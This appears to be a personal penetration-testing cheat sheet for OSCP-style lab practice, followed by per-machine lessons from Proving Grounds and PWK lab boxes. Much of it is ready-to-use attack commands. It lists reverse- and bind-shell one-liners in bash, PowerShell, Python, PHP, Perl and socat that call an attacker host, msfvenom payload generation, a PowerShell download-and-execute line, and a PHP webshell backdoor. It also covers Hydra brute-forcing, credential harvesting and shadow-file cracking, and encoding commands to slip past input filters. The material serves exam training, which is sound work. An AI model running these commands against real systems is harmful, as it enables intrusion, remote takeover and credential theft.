## Login

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## **Windows Login**

- 1: rdesktop 10.10.10.10 (GUI)
- 2: evil-winrm -u admin -p 123123 -i 10.10.10.10
- 3: evil-winrm -u admin -H [hash] -i 10.10.10.10
- 4: python smbexec.py admin:123123@10.10.10.10 cmd.exe
- 5: python psexec.py admin:123123@10.10.10.10 cmd.exe
- 6: xfreerdp /u:[hutch\]victim /pth:[hash] /v:10.10.10.10 (GUI)

## **Linux Login**

- 1: ssh <u>user@1</u>0.10.10.10
- 2: ssh -i id rsa user@10.10.10.10
- 3: rdesktop 10.10.10.10 (GUI)
- 4: vncviewer 10.10.10.10:5901 (GUI)
- 5: ssh -X user@10.10.10.10 (Some programs need GUI)

## File Download

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## Linux:

1: wget <a href="http://10.10.10.20">http://10.10.10.20</a> [-O /tmp/file1]

2: curl <a href="http://10.10.10.20">http://10.10.10.20</a> -o /tmp/file1

## Windows:

1: certutil -urlcache -split -f http://10.10.10.20/file1 file1.exe

2: Invoke-WebRequest -Uri <a href="http://10.10.10.20/file1">http://10.10.10.20/file1</a> -OutFile file1.exe

3: curl <a href="http://10.10.10.20">http://10.10.10.20</a> -o file1.exe

## File Transfer

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#### netcat

Sender: nc -w 3 10.10.10.20 4444 < file1

Receiver: nc -nlvp 4444 > file1

### **TFTP (Kali as TFTP server)**

Kali: mkdir /tftp, chown nobody: /tftp, atftpd --daemon --port 69 /tftp

Sender: tftp -v 10.10.10.20 (-m binary) -c put file1
Receiver: tftp -v 10.10.10.20 (-m binary) -c get file1

## FTP (Target as FTP server)

Target: Copy file to ftp folder (Switch between binary and ascii mode)

Sender: **put file1** Receiver: **get file1** 

## **Powershell (Target to Kali)**

a: \$s=New-PSSession -HostName 10.10.10.20 -UserName Kali

b: [Password] of Kali

c: Copy-Item .\file.txt /home/kali -ToSession \$s

#### **Apache + Powershell**

#### Kali:

a: mkdir /var/www/html/uploads && chmod 755 & chown www-data uploads && chgrp www-data uploads

b: Create a php file upload.php

<?php

\$uploaddir = '/var/www/uploads/';

\$uploadfile = \$uploaddir . \$\_FILES['file']['name'];

move\_uploaded\_file(\$\_FILES['file']['tmp\_name'], \$uploadfile)

?>

c: chown www-data upload.php && chgrp www-data upload.php

### Windows (In powershell)

a: \$up='http://10.10.10.20/uploads/'

b: \$local='C:/folder/file1'

c: \$wc=New-Object System.Net.WebClient

d: \$wc.UploadFile(\$up,\$local)

### **SMB**

#### 1: Kali as client

a: smbclient //10.10.10.10/share, get/put

## 2: Kali as server

Linux: smbclient //10.10.10.20/share, get/put

OR python impacket/examples/smbserver sharename /tmp Windows: copy \\10.10.10.20\share\nc.exe C:/Users/Public/nc.exe

## **SCP** (Credential or key needed)

1: From Kali to victim: scp file1 victim@10.10.10:/home/victim/.ssh/file1

2: From victim to Kali: scp victim@10.10.10:/home/victim/file1

/home/kali/file1

## File Search

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## In Linux

1: Permission: find / -type f -perm /4000 2>/dev/null (SUID file),

find /etc -type f -writable 2> /dev/null (Writeable file)

2: Name: find / -type f -name \*keyword\* 2>/dev/null

3: Content: grep -R "password" 2>dev/null

## **In Windows**

1: By name: dir abc.txt /s /p

## Web Shell

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1: PHP generic

One-line backdoor: <?php echo passthru(\$\_GET['cmd']);</pre>

Web backdoor: <a href="https://github.com/WhiteWinterWolf/wwwolf-php-">https://github.com/WhiteWinterWolf/wwwolf-php-</a>

webshell/blob/master/webshell.php

Web backdoor2: https://github.com/artyuum/Simple-PHP-Web-

Shell/blob/master/index.php

2: PHP for Windows

Reverse Shell: <a href="https://github.com/Dhayalanb/windows-php-reverse-shell">https://github.com/Dhayalanb/windows-php-reverse-shell</a>

**Bind Shell:** Check [PHP generic]

3: PHP for Linux

Reverse Shell: https://github.com/pentestmonkey/php-reverse-

shell/blob/master/php-reverse-shell.php

4: JSP

Reverse Shell: https://github.com/tennc/webshell/blob/master/jsp/jsp-

reverse.jsp

5: ASPX

Reverse Shell: https://github.com/borjmz/aspx-reverse-

shell/blob/master/shell.aspx

6: Others

Ruby reverse shell: https://github.com/secjohn/ruby-

shells/blob/master/revshell.rb

Ruby bind shell: https://github.com/secjohn/ruby-shells/blob/master/shell.rb

## **Bind Shell**

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### 1: netcat

Victim: nc -nlvp -e /bin/bash or nc -nlvp -e "cmd.exe"

Kali: nc 10.10.10.10 4444

#### 2: socat

Target (Linux): socat tcp-l:4444 exec:"bash -li'

Target (Windows): socat tcp-l:4444 exec:powershell.exe,pipes

Attacker: socat tcp:10.10.10.10:4444 -

## 3: powercat

Victim: powercat -l -p 4444 -e cmd.exe

Kali: nc 10.10.10.10 4444

## 4: Others

reverse-ssh

## Reverse Shell

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### 0: Spawn a TTY shell

python(3) -c 'import pty;pty.spawn("/bin/bash")'
socat

#### 1: netcat

Attacker: nc -nlvp 4444

Victim: nc 10.10.10.20 4444 -e /bin/bash Victim: nc -c bash/sh 10.10.10.20 4444

Upgrade to **fully interactive shell**: (Won't work with **rlwrap**)

- a. export TERM=xterm,
- b. python -c 'import pty;pty.spawn("/bin/bash")'
- c. CTRL+Z,
- d. stty raw -echo;fg
- e. [Enter]
- f. However, **SSH** is still **better** than it

### 2: socat (Stable)

Attacker: socat tcp-l:4444 file: tty, raw, echo=0

Victim (Linux): socat TCP:10.10.10.20:4444 EXEC:"bash -

li",pty,stderr,sigint,setsid,sane

#### 3: powercat

Victim: powercat -c 10.10.10.20 -p 4444 -e cmd.exe

#### 4: msfvenom

### Windows:

**exe:** msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.20 LPORT= 4444 -f exe > exp.exe

**msi:** msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.10.10.20 LPORT= 4444 -f msi > exp.msi

**dll:** msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.10.10.20 LPORT= 4444 -f dll> exp.dll

#### Linux:

**so:** msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=10.10.10.20 LPORT= 4444 -f elf-so > shell.so

elf: msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=10.10.10.20 LPORT= 4444 -f elf >payload

#### 5: Bash

bash -i >& /dev/tcp/10.10.10.20/4444 0>&1 bash -c 'bash -i >& /dev/tcp/10.10.10.20/4444 0>&1'

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0<&196;exec196<>/dev/tcp/10.10.10.20/4444;sh <&196 >&1962>&196 /bin/bash -I >/dev/tcp/10.10.10.20/4444 0<&1 2>&1
```

#### 6: Powershell

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a: powershell -nop -c "$client = New-Object

System.Net.Sockets.TCPClient('10.10.10.20',4444);$stream =

$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object - TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);

$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};

$client.Close()"
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b: powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.20",4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object - TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + "PS" + (pwd).Path + "> ";\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2); \$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()

## 7: Nishang

powershell IEX(New-Object Net.webclient).DownloadString("http://10.10.10.20/Invoke-PowerShellTcp.ps1")

### 8: Other language

#### JavaScript:

msfvenom -p linux/x86/shell\_reverse\_tcp LHOST=10.10.10.20 LPORT=4444 CMD=/bin/bash -f js\_le -e generic/none

### **Python:**

import pty;import

socket,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("10.10.10.20",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")

#### Php:

php -r '\$sock=fsockopen("10.10.10.20",4444);exec("/bin/sh -i <&3 >&3 2>& 3");'

php -r '\$sock=fsockopen("10.10.10.20",4444);shell\_exec("/bin/sh -i <&3 >&3 2>&3");'

#### Perl:

perl -e'use Socket;\$i="10.10.10.20";\$p=
4444;socket(S,PF\_INET,SOCK\_STREAM,getprotobyname("tcp"));if(connect(S,sockeddr in(\$p,inet aton(\$i))))

 $\{open(STDIN,">\&S"); open(STDOUT,">\&S"); open(STDERR,">\&S"); exec("/bin/sh-i"); \};' \\$ 

## 9: Others

## **Check this link:**

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#c

## **Port Forwarding**

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#### Goals

- 1: Bypass firewall
- 2: Check ports listening locally
- 3: Access other LANs the victim connected to

### Victim's port to Kali

1: ssh -L 1445:10.10.10.10:445 victim@10.10.10.10 (On Kali)

2: ssh -R 10.10.10.20:1445:127.0.0.1:445 kali@10.10.10.20 (On Linux victim)

3: cmd/c echo y | .\plink.exe -ssh -l kali -pw 123 -R

10.10.10.20:1445:127.0.0.1:445 10.10.10.20 (On Windows victim)

### Victim B's port to Kali through victim A

1: ssh -L 1445:192.168.1.10:445 victim@10.10.10.10 (On Kali)

## **Dynamic port forwarding**

1: sshuttle

sshuttle -r victim@10.10.10.10 10.10.10.1/24

2: Proxychains

gedit /etc/proxychains4.conf

socks4 127.0.0.1 9050

comment out proxy\_dns

ssh -D 127.0.0.1:9050 victim@10.10.10.10

Only use **TCP** 

-Pn added to nmap command

proxychains nmap 10.10.10.10 80

## Hash/Password Crack

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#### 1: crackstation

https://crackstation.net/

## 2: hashid: Identify hash type

hashid "[hash value]"

#### 3: hashcat

md5: 0 sha1: 100 apr1: 1600

**ntlm**: 1000, 5500 (v1), 5600 (v2)

**bcryp**t: 3200

#### 4: John

#### zip password

zip2john file1.zip>hash.txt john --wordlist=rockyou.txt hash.txt

#### rar password

rar2john file1.rar > hash.txt john --wordlist=rockyou.txt hash.txt

#### gpg password

gpg2john file1.priv > hash.txt
john --wordlist=rockyou.txt hash.txt

#### shadow

unshadow passwd shadow

john --wordlist=rockyou.txt --format=sha512crypt unshadowed.txt

## SSH key password

ssh2john id\_rsa > hash.txt john --wordlist=rockyou.txt hash.txt

#### **NTLM Cracking**

john --wordlist=rockyou.txt hash.txt --format=NT

#### PDF password

pdf2john file.pdf > hash.txt john hash.txt --wordlist=dict/rockyou.txt

## 5: Hydra

http basic auth: hydra -l admin -P dict/rockyou.txt <a href="http://10.10.10.10/">http://10.10.10.10/</a> [-s 443] http[s]-get /private/

http post form: hydra -l admin -P dict/rockyou.txt 10.10.10.10 [-s 443]

http[s]-post-form

"/login.php:username=admin&password=^PASS^&login=Login:F=Incorrect

## username or password" -V

ftp: hydra -t 1 -l admin -P dict/rockyou.txt -vV 10.10.10.10 ftp

ssh: hydra -l user -P dict/rockyou.txt ssh://10.10.10.10:22 -t 4

rdp: hydra -t 1 -V -f -l administrator -P dict/rockyou.txt rdp://10.10.10.10

# Compile C/C++

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1: Compile C/C++ binary for Windows i686-w64-mingw32-gcc exp.c -o exp.exe [-lws2\_32] i686-w64-mingw32-g++ exp.cpp -o exp.exe [-lws2\_32] x86\_64-w64-mingw32-gcc -o main64.exe main.c x86\_64-w64-mingw32-g++ -o main32.exe main.c Compile on Visual Studio

2: Compile C/C++ binary for Linux gcc exp.c -o exp -m32 gcc exp.c -o exp

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## Encoding

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## **Encode command in HTTP Request**

- 1: Online encoding/decoding: <a href="https://www.urlencoder.org/">https://www.urlencoder.org/</a>
- 2: Sometimes, only some characters will be encoded

### **Encode command in Python function**

1: Replace '+' with ' '. For example, sh -i >& /dev/tcp/10.10.10.20/4444 0>&1 ==> sh+-i >& /dev/tcp/10.10.10.20/4444+0>&1

## **Encode command in Python function in HTTP Request**

1: Use **URL-encoding** first

2: Replace '%20' with '+'. For example, sh -i >& /dev/tcp/10.10.10.20/4444 0>&1 ==>

sh+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.10.20%2F4444+0%3E%261

### **Base64 encoding**

1: Can be used to bypass character filter

###Ref: BadCorp

2: Online encoding/decoding: <a href="https://www.base64decode.org/">https://www.base64decode.org/</a>

3: For Linux echo xxxxxx | base64, echo xxxxx | base64 -d

## Other encoding

Base32 encoding: Nappa PE stage in PG

# Cryptography

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Hash

- 1: Identify hash type
- 2: Crack it
- 3: If hash is stored in database and it is uncrackable, overwrite it

## **Encryption**

**AES** 

a: Online website

b: Python script

Others

TBD

## **Version Control**

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#### Git

- 1: Find github repo of the application you are pentesting
- 2: Use git tool to reconstruct the project:
  - a. ./gitdumper.sh http://10.10.10.10/.git/ rep1
  - b. cd rep1 && git checkout -- .

###Ref: Splodge

- 3: Show logs: git logs
- 4: Show log of a commit: git show [commit]

###Ref: **Develop** 

- 5: Clone files inside /git-server: git clone file:///git-server/
- 6: Commit changes:
  - a. git config --global user.name "hack"
  - b. git config user.name "hack@hack.com"
  - c. git add -A
  - d. git commit -m "Pwned"
- 7: Clone files to local via SSH: GIT\_SSH\_COMMAND='ssh -i id\_rsa -p 22' git clone victim@10.10.10:/git-server
- 8: Push to the master branch via SSH: GIT\_SSH\_COMMAND='ssh -i id\_rsa -p 22' git push origin master

###Ref: Hunit

#### Svn

- 1: Review repo's logs: svn log --username admin --password admin http://10.10.10.10/svn/rep1
- 2: Compare differences with previous versions: svn diff -r 2:1 --username admin --password admin <a href="http://10.10.10.10/svn/rep1">http://10.10.10.10/svn/rep1</a>
  ###Ref: Phobos

## **Content Filter**

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## **Binary File**

strings binary\_file | grep xxx strings binary\_file | grep -v xxx

## **Text File**

cat text\_file | grep xxx
cat text\_file | grep -v xxx
grep -R 'xxx'

## **Retrieve Credentials**

grep 'pass'
grep 'username'
grep 'admin'
grep 'root'
grep 'sa'
grep 'db'
grep 'sql'
grep [victim] (Known username of victim)

# **Common Config Files**

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## If a config file in /etc is writable, pay more attention to it

#### Host

/etc/hosts

## Cronjob

/etc/crontab

## **Credential**

/etc/passwd
/etc/shadow

#### **FTP**

/etc/vsftpd.conf (Depend on what FTP server are used)

## **SSH**

/etc/ssh-config
/etc/sshd-config

#### **HTTP**

/var/www/html/config.php (Depend on naming)

#### **APACHE**

/etc/apache2/sites-available/000-default.conf

#### **SMB**

/etc/samba/smb.conf

## Stuck in Foothold

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- 1: Login/Credential is **not always** required. If need, use **default credential** or **guess one**, dictionary attack is **rarely** used. Sometime it can be found in **documents** such as **article**, **review**, **source code** or **txt** file, etc
- 2: Framework and Plugins' exploit

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- 3: **Hidden directory** named by **hostname**, **username**, **service name**, or application's **native path** (such as **GraphQL interface** of Gatsby, CMS's **sub-directory**)
- 4: Change **GET** to **POST**, construct **POST** request: **curl** -**x POST** --**date** "**key=value**" **10.10.10.10**
- 5: Info from content, such as **posts**, **reviews**, **txt files**, etc.
- 6: **SQLi** and **XSS** are relatively uncommon but **still could help**
- 7: Reuse credential to log in SSH
- 8: Use **captured username** (from **content**, **scanning results**, etc.) to log in **SSH** with a **weak password**
- 9: Docker containment environment and other rabbit holes
- 10: Any service could have vuln and exploit, even if a relative robust service
- 11: Apart from public exploits, misconfigurations could also be the entry
- 12: **UDP** services, **hidden** port (**FP** of nmap)
- 13: Fuzz parameter to seek a potential commend injection entry
- 14: More than one exploit to get a foothold. For example, one exploit helps RCE, RCE helps foothold
- 15: Pay attention to **OSINT**, such as **web content**, especially **user profile/bio** section. It could contain **credentials**. **Origination/Department name** can also be **username**
- 16: Client-side attack could help
- 17: Enumerate all API endpoints, it could reveal sensitive info
- 18: Fuzz each API endpoint to find command injection entry
- 19: Edit HTML code in browser to recover hidden elements
- 20: Use "1+1", "1\*2" to verify eval() and other vulnerable function
- 21: Use {{**7\*7**}} to verify **SSTI** vulnerability
- 22: Use **Svn/git** tool to retrieve project files to analyze all files and source codes

## Stuck in PE

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- 1: Linpeas/Winpeas can find 90% PE vector, read output carefully
- 2: Don't forget kernel exploit
- 3: Third-Party program
- 4: User's home folder/desktop, webroot, backups folder
- 5: Writeable folder, file, service, etc.
- 6: File which is not presented in **GTFOBins** can also be **exploited** with some other **conditions** met
- 7: **Locally** listening port
- 8: **Description** text file
- 9: Fully understand all functions of **unfamiliar** or **custom sudo/SUID** programs, use **strings** or **cat** to check its content
- 10: If there is one or more **normal user** accounts in server, it/they can help. Try to **switch** to it/one of them.
- 11: sudo su, su root, su normaluser with reused password (web's login credential, other services' credential, etc), weak password.
- 12: Some programs run in **GUI** instead of **command line**, if **RDP/VNC/X11Forwarding** is enabled, always choose **RDP/VNC/ssh** -X rather than **command line**
- 13: Check if **any port** is **blocked** by **firewall** (Will not be **highlighted** by PE script)
- 14: Fuzz URL
- 15: Check environment variables
- 16: Check missing dynamic library of a file
- 17: Pay attention to version control, make use of git and svn
- 18: Pay attention to wildcard
- 19: Is current directory set noexec, nosuid?
- 20: Use pspy to find hidden cronjobs and processes

## Lessons Leant from Machines

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#### Common

- 1: Credential reuse
- 2: Communication/Connections between multiple ports/services
- 3: Construct POST method, switch between POST and GET flexibly
- 4: **Dictionary attack/Brute-force** attack is **rarely** used, **default login** or **guessing a credential** is more common, sometimes it is **contained** in **documents**. Login credential is **not always required**
- 5: Multiple puzzles to complete an exploit
- 6: If PE script does not work, typically manual enumeration is not hard
- 7: Try kernel exploit last but do not forget this vector
- 8: Linpeas/Winpeas can find **90%** PE vector (especially in OSCP scope), read output carefully
- 9: Collect info about hostname, username, webroot.
- 10: Never look down on **any service**, even relative **robust service** (OpenSSH) could also has **vulnerabilities** and **exploits**
- 11: Compared to **exploit's title**, its **affected versions** (such as **CVE details**) is more **reliable**.
- 12: Use **strings** or **cat** to check **unfamiliar file**, especially **custom files**.
- 13: Check backups folders and reuse credential
- 14: **More than one exploit** needed. With exploit one, get important info (such as **credential**), the final exploit to get a shell
- 15: Trails and errors, follow error messages and prompts
- 16: shell cannot replace GUI
- 17: Use fuzz to test existence of command injection entry
- 18: Don't forget client-side attack, such as XSS, Phishing, etc.
- 19: Harvest credential from OSINT, such as public web contents
- 20: Pay attention to targets' ports blocked by firewall
- 21: Regular file's backup, such as /etc/crontab.bak
- 22: Edit HTML code in browser by pressing F12
- 23: Encoding can be something other than Base64
- 24: Pay attention to user's **home/desktop** folder, and **all files** inside it, such as **.bashrc**

#### **Proving Ground Practice**

ClamAV: Try exploit even if it does not clarify its version

WebCal: Don't overlook Kernel Exploit

Walla: Pay attention to basic authentication's prompt. If you cannot write a

file, you can target some files it loads

**Banzai:** HTTP can share the same folder with **FTP**. MySQL **UDF** PE **XposedAPI:** Construct **POST request**, use **wget** to **overwrite** passwd

**Payday:** If find other user especially who has root privilege, don't forget to try to use **weak credential** to log in

**Shenzi: Hostname** or **username** could be the name of **hidden directory**, **AlwaysInstallElevated** PE

**Peppo:** Pay attention to scan result's **detail**, especially **potential username**. Be aware of **Docker containment environment**, escape **Rbash** 

Clyde: Check unknown service's hacking method and search for required puzzles, combination/connection between several services

**Snookums:** SQL could store **credential** which can be **reused**, especially one of user is also in target server

**Slort:** Pay attention to Windows' **writeable folder**, **third-party software**, and **description** txt file

Nibbles: Use postgres to execute command

**Fail:** Upload **public key** to target user's home folder, use SSH to get an interactive shell. Pay attention to **user's group** (more than 1) and **writeable file/folder** 

**Roquefort:** If admin account does not exist, we can **register one**. Exp does not always require admin user, or we can create an admin user. Abuse **PATH** to trick system

**Sirol:** If cannot get a shell, add **-c** flag to **bash /cmd**. List **host drive** and **mount**. Add new **cronjob** 

**UT99:** Apart from anonymous login, also try with **weak credential** and **guest login**. Focus both service itself and **its content** such as **posts** and **reviews**. Do not always believe **nmap**. **IRC** usage. Manually enumerate windows PE vector, search for **unquoted service path**. Restart system with a **delay** 

AuthBy: More than one user can login FTP and they have access to different folders and files. Files can indicate existence of other users. Crack htpasswd.

Don't overlook system version and kernel exploit

Medjed: Access non-existence item to see error message. Try to submit a single quote in a possible SQLi entry. Error-based SQLi. Utilize social engineering skills to retrieve info from content (post, profile, review, etc.). Use SQLi to upload a webshell. Retrieve important info (webroot, username, hostname ,etc) from configuration file such as phpinfo.php. Autorun service PE

**Meathead:** Retrieve **clues** from FTP/SMB. Use impacket to log in **MSSQL**. Manually enumerate **plaintext password**, use it to **RDP** to target server. Pay attention to **user's desktop** 

Jacko: Pay attention to third-party application's folder

Twiggy: Connection between multiple services

**Bratarina:** Don't always believe nmap. Try exploit even if it is **little above or below** target service version.

Algernon: Connection between multiple services

Wombo: Abuse redis to execute command

**ZenPhoto:** Authentication/ Credential is **not always required** for an

exploitation. Kernel exp

**Hawat:** If find **source code** of a program, read it to find **vulnerable function** module, such as **login**, **SQL**, file **input**/output, etc. Source code we got will not be the **latest**, it could **change**. Transfer **GET** request to **POST** request, vice versa. **Urlcoding**. Upload shell to **side site's webroot**.

Quackerjack: Sometime, one exploit is not enough

**Pelican:** SUID binary which is not in GTFOBin list can still be abused if it meets some **requirements** 

**Sorcerer:** Break SSH restriction by replacing **authorized\_keys**, use of **SCP BillyBoss:** Try to **guess** the credential, apart from user's name, **service/program's name** can also be credential. **Hotfix** could also be flawed and exploitable. Manually check hotfix. Winpeas.exe **calculates** possible vulnerabilities based on both kernel version and hotfix, **having a try** is not bad **Sybaris:** Credential is not always required for an exp. Abuse redis's RCE with a **custom** module/**payload**. Abuse **lib path** to trick the service which loads libs from these paths

Catto: Use burpsuite to capture strange web service's request and response. Use social engineering skills to retrieve info from content, such as possible usernames from post. API hacking. Communication between multiple services. A service can act as a proxy to access other ports' services. Password spray. Refer to official doc of an unfamiliar service. Unreadable characters could be encrypted. Find related file base on keyword, such as base64. Find native URL by referring to official doc or source code.

**Cassios:** Access SMB share whose name **contains space**. Read **source code** to find vulnerable part. Take control of **input**. Make the shell fully interactive via **SSH** or **Socat**.

**Hetemit:** Construct **POST request**, understand **API's function**. Edit **service** if I have permission.

**Bunyip:** Fully understand an **unfamiliar sudo program**'s **all functions**. It is better to **download** them to **local VM** 

**Escape:** Bypass **upload restriction**. **Docker** environment can still hide **valuable info**. **UDP** service cannot be ignored. A service did not help in **foothold stage** can be important in **other stages**. If a server has a **normal user**, it could help in **PE stage**. Use **strings** to check **custom SUID file**. **PATH trick**, **file cap** is a vector for **PE**.

UC404: Read source code to find interesting comments, use burpsuite to intercept request and response. Encoded input could imply command injection possibility. Apart from linpeas.sh, don't forget /var/backups Shifty: Combine puzzles/Multiple exploits to get a foothold, obverse connections between services (memcached stores web sessions). Pay attention to all backups folder, not only /var/backups

**Apex:** If you do not find useful into in a database table, try another **similar table** (**users** and **users\_secure**). Don't forget to **reuse credential** if there is no other PE vectors

Hutch: LDAP pentesting. Abuse LAPS to find admin's plaintext password Nukem: Some programs should be run in GUI instead of command line shell.

Use **vncviewer** to connect to target and run it

Nickel: Check source code to find causes of something unusual. Switch between POST and GET flexibly. Trails and errors, follow prompts. Apart from ports listening locally, also pay attention to ports protected by firewall, usually protected ports will be the key. Use Fuzz to test existence of commend injection entry

**Hetpet: Client-side attack** can be effective! **Credential** can be collected from **OSINT**, such as **public web contents**. **Sensitive info** can be found in user's mailbox

**Butch: SQLi** can used to **bypass login**, too. When finding a **special** or **unique file**, always **google** it first. It could be an **import element** in a **framework** (Such as **master page** to **ASP.NET** program)

Interface: When facing API hacking, burpsuite and curl are best friends! Always check requests and responses to make the communication mechanism clear. When username list is long, turn to password spray, always add "password" to short password list.

**Hunit:** Check all **API endpoints**. If a **regular file** cannot be found, try to find its **backup** file. **Git commands** usage and functions

Nappa: Harvest credential from web content and source code. Edit HTML code in browser to recover hidden elements. Also check .bashrc file. Encoding technology can be something not base64, such as base32

**Dibble: Complex** and **promising** service/port can also be a **rabbit hole**. **Burpsuite** can help bypass **access control**. Always try "1+1", "1\*2" as a payload to check **eval()**. If one payload cannot work, try **another one** or another **form** (function)

**Postfish:** Apart from users, **departments** (IT, HR, Legal, etc.) can also be **usernames**. Pay attention to **user's groups**, list **writable files**, especially **configuration files**.

Malbec: Wine can be used to run exe file on Linux. If all paths in LD\_LIBRARY\_PATH are unwritable, check /etc/ld.so.conf. Use dynamic hijacking technique to load malicious dynamic library. Check missing environment variables and export it.

CookieCutter: If specific commands are allowed to be executed, enumerate all of them. SSRF attack. SSTI attack. Use sudo -g group1 to execute a file with specific group's privilege.

**Synapse**: Even if a **service/plugin** is **vulnerable**, it does **not guarantee** a successful exploitation (such as **permission missing**), it could be a **rabbit hole**. **SSI injection**. **Socket command injection** 

Splodge: If .git is accessible, use git-tool to reconstruct the project and analyze contained files. PHP function preg\_replace() can be used to get RCE Sona: If one or more imported python module is writable (or missing), overwrite (or create) it with malicious payload

**Forward**: **.forward** can be used to **execute commands**. **X11Forwarding** can be used to run a program in GUI

Megavolt: XSS can be used to steal admin's cookie. Find application's source

**code** in **github** to analyze its **vulnerable code**. If **wildcard** is at the **end** of a path, use **path traversal** attack.

**Tico**: **Overwrite original hash** if I cannot crack it.

Flask: Web content (Comment) can reveal sensitive info. Modify JWT to bypass access control or authentication. Generate a valid cookie. Exploit eval()

**VoIP: SIP's** vulnerability. **Wildcard** could lead to **misconfiguration Phobos: Svn** enumeration. White-box pentesting with **source code**. Use **python** to connect to **mongodb** 

**Reconstruction**: Retrieve sensitive info from **pcap** files. Use **wfuzz** to enumerate **API endpoints**. **Fuzz** each API endpoint to find **potential vulnerability**. **Werkzeug console PIN** exploit.

Muddy: XXE exploit. Use LFI to find credential and required info for the second exploit

**Cobweb**: Use **INSERT sentence** in **SQLi** attack. Check **/etc/fstab** to check is any **directory** set **nonexec** and **nosuid**. Not any **unknown/custom SUID** can be used to escalate privilege

Spaghetti: Check github repo of current program. Send a message in IRC channel. Use pspy to find hidden cronjobs and processes.

**Exfiltrated**: Check **installed/built-in applications'** (**dpkg -I**) version, they could also have **vulnerabilities**, such as **exfitool** 

Vector: Padding Oracle Attack in cryptography. Check user folder to find any file interesting

**Deployer:** Retrieve **FTP** and **Apache**'s **config files**. **PHP deserialization attack**. Abuse **docker** to escalate privilege

Compromised: Learn skills of beautifying encoded/obfuscated commands

Develop: git enumeration. Use PHP magic hash to bypass login. Find an
alternative to space character, retrieve content of a file with blind LFI

G00g: When facing a fresh application, try and check something default, such as default token, default credential, etc. Check the app's github repo, read its

README carefully. Check Apache's config file: /etc/apache2.sites-available/000-default

BadCorp: Create a list of possible usernames/passwords according to OSINT. Use Ghidra to reverse engineer complex binary. If you don't have write permission on a folder, check if you can upload a file via FTP/SMB service. Chatty: Edit the exploit properly. If one exploit does not work, turn to another one. Read document part of the exploit carefully, it is usually helpful for troubleshooting

#### **PWK-Lab**

Pain: Identify LFI/RFI vulnerability. Bypass file extension filter.

**Humble:** Adjust **payload** to **specific application**, such as **adding** or **deleting** some **characters**. Find potential exploitable program from **/etc/passwd** or other **folder/files** 

Alpha: Find juicy info from configuration file. Credential reuse. Find potential

exploitable program from /etc/passwd or other folder/files

Beta: If we do not know the password, we can reset to what we want

Alice: Use TFTP to transfer file, crack ZIP's password protection

**Disco: SelmpersonatePrivilege** exploit, **juicy potato**.

**Hotline: Plugins** of a program can also be exploitation entry.

Chris: Manual Union SQLi

Mailman: Enumerate existed SMTP users and find the most useful one

XOP-APP59: Default username could also be email form

Sean: Credential could be reused multiple times

**Bethany:** Use **net user** to check domain user account's **permission**. **Port forwarding**. Login portal or basic authentication could be **rabbit hole**. Read

source code of webpages, especially comments

Phoenix: Bypass included file extension filter.

Sufferance: Robust service could also has vulnerability, such as OpenSSH. Exploit/CVE affected versions is more reliable than an exploit's title (Samba 3.0.24 could also be affected by Samba 3.4.5's exploit). Apart from RSA, DSA key can also be used for authentication, but correct configuration needed. Something we want to find could be in other place, such as backups folder. For user-defined file, use cat or strings to check its content. Use PATH to trick file gh0st: If a webpage is empty, still remember to check its source code, something could hide in a comment. Sometimes, beautifying codes is important.

## **HTB & Others**

## Non-Technical Tips

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- 1: Exam itself will not be too difficult, but time management, energy management, and mental adjustment makes it more difficult
- 2: Never give up, meanwhile don't put too much time on a single box
- 3: Don't rely on hint and walkthrough when practicing
- 4: Don't make it complex, steps are usually simple
- 5: Have a good rest and enough sleep!!!
- 6: Enumerate, enumerate, and enumerate
- 7: Apart from **BoF** + **10 points** machine, rooting **one 20 points machine** is the **key** to pass
- 8: Do not reply heavily on **public exploit, misconfiguration** can also be an approach
- 9: From low-hanging fruits, such as SUID, sudo list, creds reuse, etc.

## Foothold

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#### Common

- 1: Deployed in docker environment
- 2: Uncommon/Fresh service or port does not necessary to be the entry
- 3: Sometimes, misconfiguration is the key, not public exploit

### **FTP**

- 1: Allow anonymous login, but listing directory is blocked
- 2: Anonymous login is **disallowed**, but **other credentials** work
- 3: Anonymous login is **allowed**, and **other credentials** also work
- 4: Looks like share the same folder with **webroot**, actually it isn't the case, it could be a **backup** folder or other **decoys**. Or **ACL** is configured
- 5: Hidden files or directories
- 6: Don't have write permission

#### **HTTP**

- 1: Login credential is not needed
- 2: Null content
- 3: Use sample content, which is useless for OSINT attack (retrieve credential)
- 3: Strict **file upload filter** mechanism which **cannot be bypassed** on OSCP level. Or uploaded file is opened in a **preview UI**
- 4: The **application/framework** has public exploit, however it **lacks** necessary **components/plugins**
- 5: **Not** all **features/functions** are **helped/required** for foothold. **Complex feature** does **not guarantee** entry for foothold, and **simple feature** can give you foothold
- 6: SQL service does not guarantee SQLi vector
- 7: Vulnerable **service/plugin** does not guarantee **successful exploit** due to **additional configuration**

#### **SMB**

- 1: Allow null session, but listing directory is denied
- 2: Don't have **write** permission

## **Privilege Escalation**

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- 1: **Kernel version** looks to be vulnerable, however it cannot be exploited due to other **patches** and **configuration**
